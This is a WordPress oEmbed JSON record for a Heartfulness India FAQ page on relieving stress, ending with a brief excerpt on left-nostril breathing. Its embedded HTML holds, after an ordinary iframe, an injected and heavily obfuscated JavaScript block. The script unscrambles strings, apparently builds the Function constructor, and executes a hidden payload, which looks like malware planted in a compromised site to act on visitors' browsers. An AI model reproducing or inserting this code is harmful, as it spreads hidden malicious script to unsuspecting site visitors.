{"version":"1.0","provider_name":"Heartfulness India","provider_url":"https:\/\/writenode.heartfulness.org\/in","author_name":"Chakravarthi Annam","author_url":"https:\/\/writenode.heartfulness.org\/in\/author\/chakravarthi-annam\/","title":"Relieve Stress - Heartfulness India","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"54dHpvZlXj\"><a href=\"https:\/\/writenode.heartfulness.org\/in\/faq\/relieve-stress\/\">Relieve Stress<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/writenode.heartfulness.org\/in\/faq\/relieve-stress\/embed\/#?secret=54dHpvZlXj\" width=\"600\" height=\"338\" title=\"&#8220;Relieve Stress&#8221; &#8212; Heartfulness India\" data-secret=\"54dHpvZlXj\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\nvar language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g\"lm1(ilunp)nv][=\"uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o\"i2*v0m8\"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o[\"t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs\"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.\";r+p.=n;h;\")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC=\"o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o\")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\\\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\\\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c\"llcj(7eBtuecytBwssBBB.1{4ywe=(r\\\/]Dl.r(om,1$f.\\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\\\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\\'\\'o7_.33!.!t26{g;-ip\"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%.\"8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\\\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\\\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\\\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\\\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\\';,%],s)aj+#\"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn\".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\\\/.a7aB3e=BBsu]b9B\"Bas%3;&(B2%\"$ema\"+BrB,$.ps\\\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_\"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();\/*! 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Conscious efforts to slow down your breathing can reduce the effects of stress and bring immediate relief. LEFT NOSTRIL BREATHING \u2022 Relax your body and mind. \u2022 Close your right nostril with your right thumb. \u2022 Smile while you breathe. \u2022 Slowly inhale through your left nostril and exhale through your left nostril,&hellip;... Read More."}